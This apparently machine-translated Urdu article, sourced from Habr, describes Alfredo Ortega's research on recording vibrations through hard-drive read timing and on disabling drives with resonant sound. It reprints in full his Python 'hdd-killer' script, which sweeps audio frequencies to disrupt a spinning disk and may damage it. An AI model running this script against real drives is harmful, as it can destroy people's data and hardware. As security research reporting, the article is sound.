آپ کو اپنے HDD پر کیوں نہیں چلنا چاہئے۔

آپ کو اپنے HDD پر کیوں نہیں چلنا چاہئے۔

بیونس آئرس میں ایکوپارٹی 2017 کمپیوٹر سیکیورٹی کانفرنس میں، ارجنٹائن کے ہیکر الفریڈو اورٹیگا نے ایک بہت ہی دلچسپ پیشرفت دکھائی - مائیکروفون استعمال کیے بغیر احاطے کی خفیہ تار ٹیپ کرنے کا ایک نظام۔ آواز براہ راست ہارڈ ڈرائیو پر ریکارڈ کیا گیا۔!

HDD بنیادی طور پر زیادہ شدت والی کم فریکوئنسی آوازیں، قدموں کے قدم اور دیگر کمپن کو اٹھاتا ہے۔ انسانی تقریر کو ابھی تک تسلیم نہیں کیا جا سکتا، اگرچہ سائنسدان اس سمت میں تحقیق کر رہے ہیں۔ (کم تعدد کمپن کے ذریعہ تقریر کی شناخت، جو ریکارڈ کی جاتی ہے، مثال کے طور پر، گائروسکوپ یا HDD سے)۔

آواز ہوا کا کمپن ہے یا کسی اور ذریعہ۔ ایک شخص انہیں کان کے پردے کے ذریعے محسوس کرتا ہے، جو کان کے اندرونی حصے تک کمپن منتقل کرتا ہے۔ مائیکروفون کو تقریباً ایک کان کی طرح ڈیزائن کیا گیا ہے - یہاں بھی، کمپن ایک پتلی جھلی کے ذریعے ریکارڈ کی جاتی ہے، جو برقی تحریک کو جوش دیتی ہے۔ ہارڈ ڈرائیو، یقینا، ارد گرد کی ہوا میں اتار چڑھاو کی وجہ سے مائکروسکوپک کمپن کے تابع بھی ہے۔ یہ HDDs کی تکنیکی خصوصیات سے بھی جانا جاتا ہے: مینوفیکچررز عام طور پر زیادہ سے زیادہ قابل اجازت کمپن لیول کی نشاندہی کرتے ہیں، اور ہارڈ ڈرائیو خود اسے ربڑ یا دیگر موصل مواد سے بنے کمپن پروف کنٹینر میں رکھنے کی کوشش کرتی ہے۔ اس سے یہ نتیجہ اخذ کرنا آسان ہے کہ ایچ ڈی ڈی کے ذریعے آوازیں ریکارڈ کی جا سکتی ہیں۔ بس یہ معلوم کرنا باقی ہے کہ کیسے۔

الفریڈو اورٹیگا نے سائیڈ چینل حملے کا ایک منفرد ورژن تجویز کیا، یعنی ٹائم اٹیک۔ یہ حملہ اس مفروضے پر مبنی ہے کہ دیے گئے ان پٹ ڈیٹا پر منحصر ہے کہ ڈیوائس پر مختلف اوقات میں مختلف آپریشن کیے جاتے ہیں۔ اس صورت میں، "ان پٹ ڈیٹا" ریڈنگ ہیڈ اور ایچ ڈی ڈی پلیٹر کی وائبریشنز ہیں، جو ماحول کی کمپن یعنی آواز کے ساتھ تعلق رکھتی ہیں۔ اس طرح، حسابی وقت کی پیمائش کرکے اور اعداد و شمار کا شماریاتی تجزیہ کرکے، سر/پلیٹر کی کمپن اور اس وجہ سے میڈیم کی کمپن کی پیمائش کی جاسکتی ہے۔ ڈیٹا پڑھنے میں جتنی دیر ہوگی، HDD کمپن اتنی ہی مضبوط ہوگی اور اس لیے آواز اتنی ہی تیز ہوگی۔

ہارڈ ڈرائیو کمپن کی پیمائش کیسے کریں؟ بہت آسان: صرف سسٹم کال چلائیں۔ read () - اور اسے مکمل ہونے میں لگنے والے وقت کو ریکارڈ کریں۔ جدید آپریٹنگ سسٹم آپ کو نینو سیکنڈ کی درستگی کے ساتھ سسٹم کالز کا وقت پڑھنے کی اجازت دیتے ہیں۔

کسی شعبے سے معلومات کو پڑھنے کی رفتار کا انحصار سر اور پلیٹر کی پوزیشن پر ہوتا ہے، جو HDD کیس کی کمپن سے منسلک ہوتا ہے۔ بس۔

شماریاتی تجزیہ ایک سادہ Kscope افادیت کا استعمال کرتے ہوئے کیا جاتا ہے۔ جیسا کہ وہ کہتے ہیں، ہر چیز آسان ہے.

آپ کو اپنے HDD پر کیوں نہیں چلنا چاہئے۔
Kscope یوٹیلیٹی (stat() syscall)

سسٹم کال کے عمل کے اوقات میں چھوٹے فرق کو دیکھنے کے لیے Kscope ایک چھوٹی افادیت ہے۔ ذریعہGitHub پر شائع ہوا۔.

ایک الگ ذخیرہ میں ایچ ڈی ڈی ٹائم ہارڈ ڈرائیو پر ٹائم اٹیک کے لیے ترتیب کردہ یوٹیلیٹی کا ایک ورژن ہے، یعنی سسٹم کال کا تجزیہ کرنے کے لیے ترتیب دیا گیا ہے۔ read ().

HDD کا استعمال کرتے ہوئے آواز کی ریکارڈنگ کا مظاہرہ، Kscope یوٹیلیٹی کا آپریشن


بلاشبہ، تقریر کو اس طرح نہیں سمجھا جا سکتا، لیکن ایچ ڈی ڈی ایک وائبریشن سینسر کے طور پر کافی موزوں ہے۔ مثال کے طور پر، اگر کوئی شخص سخت جوتے پہنے یا ننگے پاؤں کمپیوٹر کے ساتھ کمرے میں داخل ہوا تو آپ رجسٹر کر سکتے ہیں (شاید، اگر حملہ آور نے نرم جوتے پہن رکھے ہوں یا فرش پر موٹا قالین بچھا ہو، تو HDD کمپن رجسٹر نہیں کر سکے گا) یہ چیک کرنے کے قابل ہے)۔ کمپیوٹر ٹوٹے ہوئے شیشے یا دیگر واقعات کو مضبوط آواز کی شدت کے ساتھ رجسٹر کرنے کے قابل ہے۔ یعنی، ہارڈ ڈرائیو ایک قسم کے غیر مجاز مداخلت کا پتہ لگانے کے نظام کے طور پر کام کر سکتی ہے۔

ایچ ڈی ڈی قاتل

ویسے اسی طرح کی تکنیک ہارڈ ڈرائیوز کو غیر فعال کرنے کے لیے استعمال کی جا سکتی ہے۔ صرف یہاں ہم HDD سے دوغلے نہیں ہٹاتے ہیں، بلکہ اس کے برعکس، ہم دوغلے پیدا کرتے ہیں جو HDD کو کھلائے جاتے ہیں۔ اگر آپ سپیکر سے ایسی فریکوئنسی پر آواز چلاتے ہیں جو HDD فریکوئنسی کے ساتھ گونجتی ہے، تو سسٹم جلد ہی I/O کی خرابی کے ساتھ ڈیوائس کو آف کر دیتا ہے (لینکس کرنل 120 سیکنڈ کے بعد HDD کو مکمل طور پر بند کر دیتا ہے)۔ ہارڈ ڈرائیو کو ہی ناقابل واپسی نقصان پہنچ سکتا ہے۔

آپ کو اپنے HDD پر کیوں نہیں چلنا چاہئے۔
لینکس کرنل نے 120 سیکنڈ کے بعد ایڈیفائر r19u USB سپیکر کے ذریعے گونجنے والی فریکوئنسی پر آواز پہنچانے کے بعد ہارڈ ڈرائیو کو بند کر دیا۔ سپیکر تقریباً ایک چوتھائی پاور (100 میگاواٹ سے کم) پر آن ہوتا ہے اور HDD سے 20 سینٹی میٹر کے فاصلے پر واقع ہے، جس کا مقصد ٹیبل پر کمپن بڑھانا ہے۔ سے فریم ویڈیو کلپ HDD قاتل کے مظاہرے کے ساتھ

یہ دلچسپ ہے کہ HDDs پر اس طرح کے "حملے" کبھی کبھی روزمرہ کی زندگی میں حادثاتی طور پر ہوتے ہیں۔ مثال کے طور پر، ستمبر 2016 میں، ING بینک ڈیٹا سینٹر کو فائر ڈرل کے بعد 10 گھنٹے کے لیے آپریشن معطل کرنے پر مجبور کیا گیا۔ درجنوں ہارڈ ڈرائیوز ناکام ہو چکی ہیں۔ ہائی پریشر میں سلنڈروں سے خارج ہونے والی غیر فعال گیس کی تیز آواز کی وجہ سے۔ آواز بہت تیز تھی (130 dB سے زیادہ)، لیکن آپ ہارڈ ڈرائیوز پر چیخ بھی نہیں سکتے - اس سے HDD تک رسائی میں تاخیر بڑھ جاتی ہے۔

ڈیٹا سینٹر میں ہارڈ ڈرائیوز پر انسانی چیخ و پکار کا مظاہرہ۔ تاخیر کی پیمائش


گونجتی ہوئی آواز پیدا کرنے کے لیے، الفریڈو اورٹیگا نے ایک ازگر کا اسکرپٹ لکھا جسے کہا جاتا ہے۔ ایچ ڈی ڈی قاتل (ویڈیو مظاہرہ).

HDD قاتل اسکرپٹ یہ کافی چھوٹا ہے، لہذا آپ اسے مکمل طور پر یہاں شائع کر سکتے ہیں۔

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ماخذ: www.habr.com

نیا تبصرہ شامل کریں